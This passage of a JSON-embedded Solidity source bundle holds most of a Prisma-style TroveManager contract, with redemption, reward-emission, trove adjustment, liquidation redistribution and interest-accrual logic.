SECONDS_IN_ONE_MINUTE;\n uint256 decayFactor = PrismaMath._decPow(minuteDecayFactor, minutesPassed);\n\n return (baseRate * decayFactor) / DECIMAL_PRECISION;\n }\n\n // --- Redemption functions ---\n\n /* Send _debtAmount debt to the system and redeem the corresponding amount of collateral from as many Troves as are needed to fill the redemption\n * request. Applies pending rewards to a Trove before reducing its debt and coll.\n *\n * Note that if _amount is very large, this function can run out of gas, specially if traversed troves are small. This can be easily avoided by\n * splitting the total _amount in appropriate chunks and calling the function multiple times.\n *\n * Param `_maxIterations` can also be provided, so the loop through Troves is capped (if it’s zero, it will be ignored).This makes it easier to\n * avoid OOG for the frontend, as only knowing approximately the average cost of an iteration is enough, without needing to know the “topology”\n * of the trove list. It also avoids the need to set the cap in stone in the contract, nor doing gas calculations, as both gas price and opcode\n * costs can vary.\n *\n * All Troves that are redeemed from -- with the likely exception of the last one -- will end up with no debt left, therefore they will be closed.\n * If the last Trove does have some remaining debt, it has a finite ICR, and the reinsertion could be anywhere in the list, therefore it requires a hint.\n * A frontend should use getRedemptionHints() to calculate what the ICR of this Trove will be after redemption, and pass a hint for its position\n * in the sortedTroves list along with the ICR value that the hint was found for.\n *\n * If another transaction modifies the list between calling getRedemptionHints() and passing the hints to redeemCollateral(), it\n * is very likely that the last (partially) redeemed Trove would end up with a different ICR than what the hint is for. In this case the\n * redemption will stop after the last completely redeemed Trove and the sender will keep the remaining debt amount, which they can attempt\n * to redeem later.\n */\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external {\n ISortedTroves _sortedTrovesCached = sortedTroves;\n RedemptionTotals memory totals;\n\n require(\n _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= maxRedemptionFee,\n \"Max fee 0.5% to 100%\"\n );\n require(block.timestamp >= systemDeploymentTime + bootstrapPeriod, \"BOOTSTRAP_PERIOD\");\n totals.price = fetchPrice();\n uint256 _MCR = MCR;\n require(IBorrowerOperations(borrowerOperationsAddress).getTCR() >= _MCR, \"Cannot redeem when TCR < MCR\");\n require(_debtAmount > 0, \"Amount must be greater than zero\");\n require(debtToken.balanceOf(msg.sender) >= _debtAmount, \"Insufficient balance\");\n _updateBalances();\n totals.totalDebtSupplyAtStart = getEntireSystemDebt();\n\n totals.remainingDebt = _debtAmount;\n address currentBorrower;\n\n if (_isValidFirstRedemptionHint(_sortedTrovesCached, _firstRedemptionHint, totals.price, _MCR)) {\n currentBorrower = _firstRedemptionHint;\n } else {\n currentBorrower = _sortedTrovesCached.getLast();\n // Find the first trove with ICR >= MCR\n while (currentBorrower != address(0) && getCurrentICR(currentBorrower, totals.price) < _MCR) {\n currentBorrower = _sortedTrovesCached.getPrev(currentBorrower);\n }\n }\n\n // Loop through the Troves starting from the one with lowest collateral ratio until _amount of debt is exchanged for collateral\n if (_maxIterations == 0 || _maxIterations > 100) {\n _maxIterations = 100;\n }\n totals.trovesRedeemed = new ReedemedTrove[](_maxIterations);\n totals.numberOfRedemptions = 0;\n while (currentBorrower != address(0) && totals.remainingDebt > 0 && _maxIterations > 0) {\n _maxIterations--;\n // Save the address of the Trove preceding the current one, before potentially modifying the list\n address nextUserToCheck = _sortedTrovesCached.getPrev(currentBorrower);\n\n _applyPendingRewards(currentBorrower);\n SingleRedemptionValues memory singleRedemption = _redeemCollateralFromTrove(\n _sortedTrovesCached,\n currentBorrower,\n totals.remainingDebt,\n totals.price,\n _upperPartialRedemptionHint,\n _lowerPartialRedemptionHint,\n _partialRedemptionHintNICR\n );\n if (singleRedemption.cancelledPartial) break; // Partial redemption was cancelled (out-of-date hint, or new net debt < minimum), therefore we could not redeem from the last Trove\n\n totals.trovesRedeemed[totals.numberOfRedemptions++] = ReedemedTrove(\n currentBorrower,\n singleRedemption.debtLot,\n singleRedemption.collateralLot\n );\n\n totals.totalDebtToRedeem = totals.totalDebtToRedeem + singleRedemption.debtLot;\n totals.totalCollateralDrawn = totals.totalCollateralDrawn + singleRedemption.collateralLot;\n\n totals.remainingDebt = totals.remainingDebt - singleRedemption.debtLot;\n currentBorrower = nextUserToCheck;\n }\n require(totals.totalCollateralDrawn > 0, \"Unable to redeem any amount\");\n\n // Decay the baseRate due to time passed, and then increase it according to the size of this redemption.\n // Use the saved total debt supply value, from before it was reduced by the redemption.\n _updateBaseRateFromRedemption(totals.totalCollateralDrawn, totals.price, totals.totalDebtSupplyAtStart);\n\n // Calculate the collateral fee\n totals.collateralFee = sunsetting ? 0 : _calcRedemptionFee(getRedemptionRate(), totals.totalCollateralDrawn);\n\n _requireUserAcceptsFee(totals.collateralFee, totals.totalCollateralDrawn, _maxFeePercentage);\n uint256 userRebate = (redemptionFeesRebate * totals.collateralFee) / 10000;\n\n uint256 _numberOfRedemptions = totals.numberOfRedemptions;\n if (userRebate > 0) {\n for (uint256 i; i < _numberOfRedemptions; ) {\n ReedemedTrove memory refund = totals.trovesRedeemed[i];\n surplusBalances[refund.account] += (userRebate * refund.collateralLot) / totals.totalCollateralDrawn;\n unchecked {\n ++i;\n }\n }\n }\n\n if (redemptionFeesRebate < 10000) {\n uint256 treasuryRebate = totals.collateralFee - userRebate;\n _sendCollateral(PRISMA_CORE.feeReceiver(), treasuryRebate);\n }\n totals.collateralToSendToRedeemer = totals.totalCollateralDrawn - totals.collateralFee;\n\n emit Redemption(_debtAmount, totals.totalDebtToRedeem, totals.totalCollateralDrawn, totals.collateralFee);\n\n // Burn the total debt that is cancelled with debt, and send the redeemed collateral to msg.sender\n debtToken.burn(msg.sender, totals.totalDebtToRedeem);\n // Update Trove Manager debt, and send collateral to account\n totalActiveDebt = totalActiveDebt - totals.totalDebtToRedeem;\n _sendCollateral(msg.sender, totals.collateralToSendToRedeemer);\n _resetState();\n if (address(_redemptionsCallback) != address(0)) {\n assembly {\n // Load array pointer value at slot 9 in the struct\n let trovesRedeemedLengthSlot := mload(add(totals, 0x120))\n // Set array length in referenced location\n mstore(trovesRedeemedLengthSlot, _numberOfRedemptions)\n }\n _redemptionsCallback.onRedemptions(totals.trovesRedeemed);\n }\n }\n\n // Redeem as much collateral as possible from _borrower's Trove in exchange for debt up to _maxDebtAmount\n function _redeemCollateralFromTrove(\n ISortedTroves _sortedTrovesCached,\n address _borrower,\n uint256 _maxDebtAmount,\n uint256 _price,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR\n ) internal returns (SingleRedemptionValues memory singleRedemption) {\n Trove storage t = Troves[_borrower];\n // Determine the remaining amount (lot) to be redeemed, capped by the entire debt of the Trove minus the liquidation reserve\n singleRedemption.debtLot = PrismaMath._min(_maxDebtAmount, t.debt - DEBT_GAS_COMPENSATION);\n\n // Get the CollateralLot of equivalent value in USD\n singleRedemption.collateralLot = (singleRedemption.debtLot * DECIMAL_PRECISION) / _price;\n\n // Decrease the debt and collateral of the current Trove according to the debt lot and corresponding collateral to send\n uint256 newDebt = (t.debt) - singleRedemption.debtLot;\n uint256 newColl = (t.coll) - singleRedemption.collateralLot;\n\n if (newDebt == DEBT_GAS_COMPENSATION) {\n // No debt left in the Trove (except for the liquidation reserve), therefore the trove gets closed\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByRedemption);\n _redeemCloseTrove(_borrower, DEBT_GAS_COMPENSATION, newColl);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.redeemCollateral);\n } else {\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n /*\n * If the provided hint is out of date, we bail since trying to reinsert without a good hint will almost\n * certainly result in running out of gas.\n *\n * If the resultant net debt of the partial is less than the minimum, net debt we bail.\n */\n\n {\n // We check if the ICR hint is reasonable up to date, with continuous interest there might be slight differences (<1bps)\n uint256 icrError = _partialRedemptionHintNICR > newNICR\n ? _partialRedemptionHintNICR - newNICR\n : newNICR - _partialRedemptionHintNICR;\n if (\n icrError > 5e14 ||\n _getNetDebt(newDebt) < IBorrowerOperations(borrowerOperationsAddress).minNetDebt()\n ) {\n singleRedemption.cancelledPartial = true;\n return singleRedemption;\n }\n }\n\n _sortedTrovesCached.reInsert(_borrower, newNICR, _upperPartialRedemptionHint, _lowerPartialRedemptionHint);\n\n t.debt = newDebt;\n t.coll = newColl;\n _updateStakeAndTotalStakes(t);\n\n emit TroveUpdated(_borrower, newDebt, newColl, t.stake, TroveManagerOperation.redeemCollateral);\n }\n\n return singleRedemption;\n }\n\n /*\n * Called when a full redemption occurs, and closes the trove.\n * The redeemer swaps (debt - liquidation reserve) debt for (debt - liquidation reserve) worth of collateral, so the debt liquidation reserve left corresponds to the remaining debt.\n * In order to close the trove, the debt liquidation reserve is burned, and the corresponding debt is removed.\n * The debt recorded on the trove's struct is zero'd elswhere, in _closeTrove.\n * Any surplus collateral left in the trove can be later claimed by the borrower.\n */\n function _redeemCloseTrove(address _borrower, uint256 _debt, uint256 _collateral) internal {\n debtToken.burn(gasPoolAddress, _debt);\n totalActiveDebt = totalActiveDebt - _debt;\n\n surplusBalances[_borrower] += _collateral;\n totalActiveCollateral -= _collateral;\n }\n\n function _isValidFirstRedemptionHint(\n ISortedTroves _sortedTroves,\n address _firstRedemptionHint,\n uint256 _price,\n uint256 _MCR\n ) internal view returns (bool) {\n if (\n _firstRedemptionHint == address(0) ||\n !_sortedTroves.contains(_firstRedemptionHint) ||\n getCurrentICR(_firstRedemptionHint, _price) < _MCR\n ) {\n return false;\n }\n\n address nextTrove = _sortedTroves.getNext(_firstRedemptionHint);\n return nextTrove == address(0) || getCurrentICR(nextTrove, _price) < _MCR;\n }\n\n /**\n * Claim remaining collateral from a redemption or from a liquidation with ICR > MCR in Recovery Mode\n */\n function claimCollateral(address _receiver) external {\n uint256 claimableColl = surplusBalances[msg.sender];\n require(claimableColl > 0, \"No collateral available to claim\");\n\n surplusBalances[msg.sender] = 0;\n\n collateralToken.safeTransfer(_receiver, claimableColl);\n }\n\n // --- Reward Claim functions ---\n\n function claimReward(address receiver) external returns (uint256) {\n uint256 amount = _claimReward(msg.sender);\n\n if (amount > 0) {\n vault.transferAllocatedTokens(msg.sender, receiver, amount);\n }\n emit RewardClaimed(msg.sender, receiver, amount);\n return amount;\n }\n\n function vaultClaimReward(address claimant, address) external returns (uint256) {\n require(msg.sender == address(vault));\n\n return _claimReward(claimant);\n }\n\n function _claimReward(address account) internal returns (uint256) {\n require(emissionId.debt > 0, \"Rewards not active\");\n // update active debt rewards\n _applyPendingRewards(account);\n uint256 amount = storedPendingReward[account];\n if (amount > 0) storedPendingReward[account] = 0;\n\n // add pending mint awards\n uint256 mintAmount = _getPendingMintReward(account);\n if (mintAmount > 0) {\n amount += mintAmount;\n delete accountLatestMint[account];\n }\n\n return amount;\n }\n\n function claimableReward(address account) external view returns (uint256) {\n // previously calculated rewards\n uint256 amount = storedPendingReward[account];\n\n // pending active debt rewards\n uint256 updated = periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n uint256 integral = rewardIntegral;\n if (duration > 0) {\n uint256 supply = totalActiveDebt;\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n }\n }\n uint256 integralFor = rewardIntegralFor[account];\n\n if (integral > integralFor) {\n amount += (Troves[account].debt * (integral - integralFor)) / 1e18;\n }\n\n // pending mint rewards\n amount += _getPendingMintReward(account);\n\n return amount;\n }\n\n function _getPendingMintReward(address account) internal view returns (uint256 amount) {\n VolumeData memory data = accountLatestMint[account];\n if (data.amount > 0) {\n (uint256 week, uint256 day) = getWeekAndDay();\n if (data.day != day || data.week != week) {\n return (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n }\n }\n }\n\n function _updateIntegrals(address account, uint256 balance, uint256 supply) internal {\n uint256 integral = _updateRewardIntegral(supply);\n _updateIntegralForAccount(account, balance, integral);\n }\n\n function _updateIntegralForAccount(address account, uint256 balance, uint256 currentIntegral) internal {\n uint256 integralFor = rewardIntegralFor[account];\n\n if (currentIntegral > integralFor) {\n storedPendingReward[account] += (balance * (currentIntegral - integralFor)) / 1e18;\n rewardIntegralFor[account] = currentIntegral;\n }\n }\n\n function _updateRewardIntegral(uint256 supply) internal returns (uint256 integral) {\n uint256 _periodFinish = periodFinish;\n uint256 updated = _periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n integral = rewardIntegral;\n if (duration > 0) {\n lastUpdate = uint32(updated);\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n rewardIntegral = integral;\n }\n }\n _fetchRewards(_periodFinish);\n\n return integral;\n }\n\n function _fetchRewards(uint256 _periodFinish) internal {\n EmissionId memory id = emissionId;\n if (id.debt == 0) return;\n uint256 currentWeek = getWeek();\n if (currentWeek < (_periodFinish - startTime) / 1 weeks) return;\n uint256 previousWeek = (_periodFinish - startTime) / 1 weeks - 1;\n\n // active debt rewards\n uint256 amount = vault.allocateNewEmissions(id.debt);\n if (block.timestamp < _periodFinish) {\n uint256 remaining = _periodFinish - block.timestamp;\n amount += remaining * rewardRate;\n }\n rewardRate = uint128(amount / REWARD_DURATION);\n lastUpdate = uint32(block.timestamp);\n periodFinish = uint32(block.timestamp + REWARD_DURATION);\n\n // minting rewards\n amount = vault.allocateNewEmissions(id.minting);\n uint256 reward = dailyMintReward[previousWeek];\n if (reward > 0) {\n uint32[7] memory totals = totalMints[previousWeek];\n for (uint256 i = 0; i < 7; i++) {\n if (totals[i] == 0) {\n amount += reward;\n }\n }\n }\n dailyMintReward[currentWeek] = amount / 7;\n }\n\n // --- Trove Adjustment functions ---\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external whenNotPaused returns (uint256 stake, uint256 arrayIndex) {\n _requireCallerIsBO();\n require(!sunsetting, \"Cannot open while sunsetting\");\n uint256 supply = totalActiveDebt;\n\n Trove storage t = Troves[_borrower];\n require(t.status != Status.active, \"BorrowerOps: Trove is active\");\n t.status = Status.active;\n t.coll = _collateralAmount;\n t.debt = _compositeDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n t.activeInterestIndex = currentInterestIndex;\n _updateTroveRewardSnapshots(_borrower);\n stake = _updateStakeAndTotalStakes(t);\n sortedTroves.insert(_borrower, NICR, _upperHint, _lowerHint);\n\n TroveOwners.push(_borrower);\n arrayIndex = TroveOwners.length - 1;\n t.arrayIndex = uint128(arrayIndex);\n\n _updateIntegrals(_borrower, 0, supply);\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _compositeDebt);\n\n totalActiveCollateral = totalActiveCollateral + _collateralAmount;\n uint256 _newTotalDebt = totalActiveDebt + _compositeDebt;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n emit TroveUpdated(_borrower, _compositeDebt, _collateralAmount, stake, TroveManagerOperation.open);\n }\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256) {\n _requireCallerIsBO();\n if (_isCollIncrease || _isDebtIncrease) {\n require(!paused, \"Collateral Paused\");\n require(!sunsetting, \"Cannot increase while sunsetting\");\n }\n\n Trove storage t = Troves[_borrower];\n require(t.status == Status.active, \"Trove closed or does not exist\");\n\n uint256 newDebt = t.debt;\n if (_debtChange > 0) {\n if (_isDebtIncrease) {\n newDebt = newDebt + _netDebtChange;\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _netDebtChange);\n _increaseDebt(_receiver, _netDebtChange, _debtChange);\n } else {\n newDebt = newDebt - _netDebtChange;\n _decreaseDebt(_receiver, _debtChange);\n }\n t.debt = newDebt;\n }\n\n uint256 newColl = t.coll;\n if (_collChange > 0) {\n if (_isCollIncrease) {\n newColl = newColl + _collChange;\n totalActiveCollateral = totalActiveCollateral + _collChange;\n // trust that BorrowerOperations sent the collateral\n } else {\n newColl = newColl - _collChange;\n _sendCollateral(_receiver, _collChange);\n }\n t.coll = newColl;\n }\n\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n sortedTroves.reInsert(_borrower, newNICR, _upperHint, _lowerHint);\n uint256 newStake = _updateStakeAndTotalStakes(t);\n emit TroveUpdated(_borrower, newDebt, newColl, newStake, TroveManagerOperation.adjust);\n\n return (newColl, newDebt, newStake);\n }\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external {\n _requireCallerIsBO();\n require(Troves[_borrower].status == Status.active, \"Trove closed or does not exist\");\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByOwner);\n if (TroveOwners.length > 0) {\n totalActiveDebt = totalActiveDebt - debtAmount;\n } else {\n // Account for dust discrepancies due to interest sampling\n totalActiveDebt = 0;\n }\n _sendCollateral(_receiver, collAmount);\n _resetState();\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.close);\n }\n\n /**\n @dev Only called from `closeTrove` because liquidating the final trove is blocked in\n `LiquidationManager`. Many liquidation paths involve redistributing debt and\n collateral to existing troves. If the collateral is being sunset, the final trove\n must be closed by repaying the debt or via a redemption.\n */\n function _resetState() private {\n if (TroveOwners.length == 0) {\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n totalStakes = 0;\n totalStakesSnapshot = 0;\n totalCollateralSnapshot = 0;\n L_collateral = 0;\n L_debt = 0;\n lastCollateralError_Redistribution = 0;\n lastDebtError_Redistribution = 0;\n totalActiveCollateral = 0;\n totalActiveDebt = 0;\n defaultedCollateral = 0;\n defaultedDebt = 0;\n }\n }\n\n function _closeTrove(address _borrower, Status closedStatus) internal {\n uint256 TroveOwnersArrayLength = TroveOwners.length;\n\n Trove storage t = Troves[_borrower];\n t.status = closedStatus;\n t.coll = 0;\n t.debt = 0;\n t.activeInterestIndex = 0;\n ISortedTroves sortedTrovesCached = sortedTroves;\n rewardSnapshots[_borrower].collateral = 0;\n rewardSnapshots[_borrower].debt = 0;\n if (TroveOwnersArrayLength > 1 && sortedTrovesCached.getSize() > 1) {\n // remove trove owner from the TroveOwners array, not preserving array order\n uint128 index = t.arrayIndex;\n address addressToMove = TroveOwners[TroveOwnersArrayLength - 1];\n TroveOwners[index] = addressToMove;\n Troves[addressToMove].arrayIndex = index;\n emit TroveIndexUpdated(addressToMove, index);\n }\n\n TroveOwners.pop();\n\n sortedTrovesCached.remove(_borrower);\n t.arrayIndex = 0;\n }\n\n function _updateMintVolume(address account, uint256 initialAmount) internal {\n uint32 amount = uint32(initialAmount / VOLUME_MULTIPLIER);\n (uint256 week, uint256 day) = getWeekAndDay();\n totalMints[week][day] += amount;\n\n VolumeData memory data = accountLatestMint[account];\n if (data.day == day && data.week == week) {\n // if the caller made a previous redemption today, we only increase their redeemed amount\n accountLatestMint[account].amount = data.amount + amount;\n } else {\n if (data.amount > 0) {\n // if the caller made a previous redemption on a different day,\n // calculate the emissions earned for that redemption\n uint256 pending = (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n storedPendingReward[account] += pending;\n }\n accountLatestMint[account] = VolumeData({ week: uint32(week), day: uint32(day), amount: amount });\n }\n }\n\n // Updates the baseRate state variable based on time elapsed since the last redemption or debt borrowing operation.\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256) {\n _requireCallerIsBO();\n uint256 rate = _decayBaseRate();\n\n return _calcBorrowingFee(_calcBorrowingRate(rate), _debt);\n }\n\n function _decayBaseRate() internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n baseRate = decayedBaseRate;\n emit BaseRateUpdated(decayedBaseRate);\n\n _updateLastFeeOpTime();\n\n return decayedBaseRate;\n }\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt) {\n _requireCallerIsBO();\n return _applyPendingRewards(_borrower);\n }\n\n // Add the borrowers's coll and debt rewards earned from redistributions, to their Trove\n function _applyPendingRewards(address _borrower) internal returns (uint256 coll, uint256 debt) {\n Trove storage t = Troves[_borrower];\n if (t.status == Status.active) {\n uint256 troveInterestIndex = t.activeInterestIndex;\n uint256 supply = totalActiveDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n debt = t.debt;\n uint256 prevDebt = debt;\n coll = t.coll;\n // We accrued interests for this trove if not already updated\n if (troveInterestIndex < currentInterestIndex) {\n debt = (debt * currentInterestIndex) / troveInterestIndex;\n t.activeInterestIndex = currentInterestIndex;\n }\n\n if (rewardSnapshots[_borrower].collateral < L_collateral) {\n // Compute pending rewards\n (uint256 pendingCollateralReward, uint256 pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n\n // Apply pending rewards to trove's state\n coll = coll + pendingCollateralReward;\n t.coll = coll;\n debt = debt + pendingDebtReward;\n\n _updateTroveRewardSnapshots(_borrower);\n\n _movePendingTroveRewardsToActiveBalance(pendingDebtReward, pendingCollateralReward);\n }\n if (prevDebt != debt) {\n t.debt = debt;\n }\n _updateIntegrals(_borrower, prevDebt, supply);\n }\n return (coll, debt);\n }\n\n function _updateTroveRewardSnapshots(address _borrower) internal {\n uint256 L_collateralCached = L_collateral;\n uint256 L_debtCached = L_debt;\n rewardSnapshots[_borrower] = RewardSnapshot(L_collateralCached, L_debtCached);\n emit TroveSnapshotsUpdated(L_collateralCached, L_debtCached);\n }\n\n // Remove borrower's stake from the totalStakes sum, and set their stake to 0\n function _removeStake(address _borrower) internal {\n uint256 stake = Troves[_borrower].stake;\n totalStakes = totalStakes - stake;\n Troves[_borrower].stake = 0;\n }\n\n // Update borrower's stake based on their latest collateral value\n function _updateStakeAndTotalStakes(Trove storage t) internal returns (uint256) {\n uint256 newStake = _computeNewStake(t.coll);\n uint256 oldStake = t.stake;\n t.stake = newStake;\n uint256 newTotalStakes = totalStakes - oldStake + newStake;\n totalStakes = newTotalStakes;\n emit TotalStakesUpdated(newTotalStakes);\n\n return newStake;\n }\n\n // Calculate a new stake based on the snapshots of the totalStakes and totalCollateral taken at the last liquidation\n function _computeNewStake(uint256 _coll) internal view returns (uint256) {\n uint256 stake;\n uint256 totalCollateralSnapshotCached = totalCollateralSnapshot;\n if (totalCollateralSnapshotCached == 0) {\n stake = _coll;\n } else {\n /*\n * The following assert() holds true because:\n * - The system always contains >= 1 trove\n * - When we close or liquidate a trove, we redistribute the pending rewards, so if all troves were closed/liquidated,\n * rewards would’ve been emptied and totalCollateralSnapshot would be zero too.\n */\n uint256 totalStakesSnapshotCached = totalStakesSnapshot;\n assert(totalStakesSnapshotCached > 0);\n stake = (_coll * totalStakesSnapshotCached) / totalCollateralSnapshotCached;\n }\n return stake;\n }\n\n // --- Liquidation Functions ---\n\n function closeTroveByLiquidation(address _borrower) external {\n _requireCallerIsLM();\n uint256 debtBefore = Troves[_borrower].debt;\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByLiquidation);\n _updateIntegralForAccount(_borrower, debtBefore, rewardIntegral);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.liquidate);\n }\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external {\n _requireCallerIsLM();\n _movePendingTroveRewardsToActiveBalance(_debt, _collateral);\n }\n\n function _movePendingTroveRewardsToActiveBalance(uint256 _debt, uint256 _collateral) internal {\n defaultedDebt -= _debt;\n totalActiveDebt += _debt;\n defaultedCollateral -= _collateral;\n totalActiveCollateral += _collateral;\n }\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external {\n _requireCallerIsLM();\n surplusBalances[borrower] += collSurplus;\n }\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external {\n _requireCallerIsLM();\n // redistribute debt and collateral\n _redistributeDebtAndColl(_debt, _coll);\n\n uint256 _activeColl = totalActiveCollateral;\n if (_collSurplus > 0) {\n _activeColl -= _collSurplus;\n totalActiveCollateral = _activeColl;\n }\n\n // update system snapshos\n totalStakesSnapshot = totalStakes;\n totalCollateralSnapshot = _activeColl - _collGasComp + defaultedCollateral;\n emit SystemSnapshotsUpdated(totalStakesSnapshot, totalCollateralSnapshot);\n\n // send gas compensation\n debtToken.returnFromPool(gasPoolAddress, _liquidator, _debtGasComp);\n _sendCollateral(_liquidator, _collGasComp);\n }\n\n function _redistributeDebtAndColl(uint256 _debt, uint256 _coll) internal {\n if (_debt == 0) {\n return;\n }\n /*\n * Add distributed coll and debt rewards-per-unit-staked to the running totals. Division uses a \"feedback\"\n * error correction, to keep the cumulative error low in the running totals L_collateral and L_debt:\n *\n * 1) Form numerators which compensate for the floor division errors that occurred the last time this\n * function was called.\n * 2) Calculate \"per-unit-staked\" ratios.\n * 3) Multiply each ratio back by its denominator, to reveal the current floor division error.\n * 4) Store these errors for use in the next correction when this function is called.\n * 5) Note: static analysis tools complain about this \"division before multiplication\", however, it is intended.\n */\n uint256 collateralNumerator = (_coll * DECIMAL_PRECISION) + lastCollateralError_Redistribution;\n uint256 debtNumerator = (_debt * DECIMAL_PRECISION) + lastDebtError_Redistribution;\n uint256 totalStakesCached = totalStakes;\n // Get the per-unit-staked terms\n uint256 collateralRewardPerUnitStaked = collateralNumerator / totalStakesCached;\n uint256 debtRewardPerUnitStaked = debtNumerator / totalStakesCached;\n\n lastCollateralError_Redistribution = collateralNumerator - (collateralRewardPerUnitStaked * totalStakesCached);\n lastDebtError_Redistribution = debtNumerator - (debtRewardPerUnitStaked * totalStakesCached);\n\n // Add per-unit-staked terms to the running totals\n uint256 new_L_collateral = L_collateral + collateralRewardPerUnitStaked;\n uint256 new_L_debt = L_debt + debtRewardPerUnitStaked;\n L_collateral = new_L_collateral;\n L_debt = new_L_debt;\n\n emit LTermsUpdated(new_L_collateral, new_L_debt);\n\n totalActiveDebt -= _debt;\n defaultedDebt += _debt;\n defaultedCollateral += _coll;\n totalActiveCollateral -= _coll;\n }\n\n // --- Trove property setters ---\n\n function _sendCollateral(address _account, uint256 _amount) private {\n if (_amount > 0) {\n totalActiveCollateral = totalActiveCollateral - _amount;\n emit CollateralSent(_account, _amount);\n\n collateralToken.safeTransfer(_account, _amount);\n }\n }\n\n function _increaseDebt(address account, uint256 netDebtAmount, uint256 debtAmount) internal {\n uint256 _newTotalDebt = totalActiveDebt + netDebtAmount;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n debtToken.mint(account, debtAmount);\n }\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external {\n _requireCallerIsLM();\n _decreaseDebt(account, debt);\n _sendCollateral(account, coll);\n }\n\n function _decreaseDebt(address account, uint256 amount) internal {\n debtToken.burn(account, amount);\n totalActiveDebt = totalActiveDebt - amount;\n }\n\n // --- Balances and interest ---\n\n function updateBalances() external {\n _requireCallerIsLM();\n _updateBalances();\n }\n\n function _updateBalances() private {\n _updateRewardIntegral(totalActiveDebt);\n _accrueActiveInterests();\n }\n\n // This function must be called any time the debt or the interest changes\n function _accrueActiveInterests() internal returns (uint256) {\n (uint256 currentInterestIndex, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 currentDebt = totalActiveDebt;\n uint256 activeInterests = Math.mulDiv(currentDebt, interestFactor, INTEREST_PRECISION);\n totalActiveDebt = currentDebt + activeInterests;\n interestPayable = interestPayable + activeInterests;\n activeInterestIndex = currentInterestIndex;\n lastActiveIndexUpdate = block.timestamp;\n }\n return currentInterestIndex;\n }\n\n function _calculateInterestIndex() internal view returns (uint256 currentInterestIndex, uint256 interestFactor) {\n uint256 lastIndexUpdateCached = lastActiveIndexUpdate;\n // Short circuit if we updated in the current block\n if (lastIndexUpdateCached == block.timestamp) return (activeInterestIndex, 0);\n uint256 currentInterest = interestRate;\n currentInterestIndex = activeInterestIndex; // we need to return this if it's already up to date\n if (currentInterest > 0) {\n /*\n * Calculate the interest accumulated and the new index:\n * We compound the index and increase the debt accordingly\n */\n uint256 deltaT = block.timestamp - lastIndexUpdateCached;\n interestFactor = deltaT * currentInterest;\n currentInterestIndex =\n currentInterestIndex +\n Math.mulDiv(currentInterestIndex, interestFactor, INTEREST_PRECISION);\n }\n }\n\n // --- Requires ---\n\n function _requireCallerIsBO() internal view {\n require(msg.sender == borrowerOperationsAddress, \"Caller not BO\");\n }\n\n function _requireCallerIsLM() internal view {\n require(msg.sender == liquidationManager, \"Not Liquidation Manager\");\n }\n}\n"
},
"contracts/dependencies/PrismaBase.sol": {
